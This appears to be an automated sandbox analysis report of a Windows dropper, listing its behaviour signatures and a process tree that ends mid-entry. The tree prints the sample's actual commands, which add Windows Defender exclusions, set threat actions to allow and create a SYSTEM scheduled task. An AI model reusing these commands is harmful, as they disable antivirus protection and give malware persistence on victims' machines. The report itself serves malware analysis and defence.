Analysis

  • max time kernel
    125s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2024, 05:00

General

  • Target

    0ec320aaa56b4b15c383f18c688ee20209ec152e1d716483bc00449a9e5ea184.exe

  • Size

    6.3MB

  • MD5

    31c65b51016a5ea1b97de351bdc3a34e

  • SHA1

    84b3f9e243cf7d2e607dc482c81fe2e2c7271378

  • SHA256

    0ec320aaa56b4b15c383f18c688ee20209ec152e1d716483bc00449a9e5ea184

  • SHA512

    a53dd6639c4e99e49d419009f947e55b38426a4794c30ccaae546717927a5c4599f88203583bf065bd5a020d6f8b4ffc68dc4b402cbca8cf6d8f7fe39f60e476

  • SSDEEP

    196608:91O9hrfn90vjbQL0MZMFoENqo0C029v7CGQp0wx:3OLrojkLwFo51ETCGa0wx

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0ec320aaa56b4b15c383f18c688ee20209ec152e1d716483bc00449a9e5ea184.exe
    "C:\Users\Admin\AppData\Local\Temp\0ec320aaa56b4b15c383f18c688ee20209ec152e1d716483bc00449a9e5ea184.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Users\Admin\AppData\Local\Temp\7zS3662.tmp\Install.exe
      .\Install.exe /AdidysikD "385118" /S
      2⤵
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:3880
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\SysWOW64\cmd.exe
          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1544
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2612
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3300
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "bpJjqbWMDOjxkYrvBb" /SC once /ST 05:01:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\ENTxXds.exe\" Oz /Lssite_idCpU 385118 /S" /V1 /F
        3⤵
        • Drops file in Windows directory
        • Creates scheduled task(s)
        PID:2272
  • C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\ENTxXds.exe
    C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\ENTxXds.exe Oz /Lssite_idCpU 385118 /S
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:4636
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2120
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4296
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:2004
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:736
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:3968
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:2844
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:3604
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:3116
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:2420
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:1820
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:1548
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:3608
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:5044
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4552
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4376
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:3464
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:4300
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:1420
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:1692
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:2676
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:2304
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:4872
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:464
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:3876
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4180
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:4760
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3264
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:1632
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:3840
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:1084
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:952
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:4540
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:4424
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:3916
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:452
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:4968
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:3668
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:3884
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:5048
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:2152
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:4740
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:3656
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:3080
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4604
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:1680
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:2352
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:2300
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:3400
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3988
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:2988
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:840
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1272
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
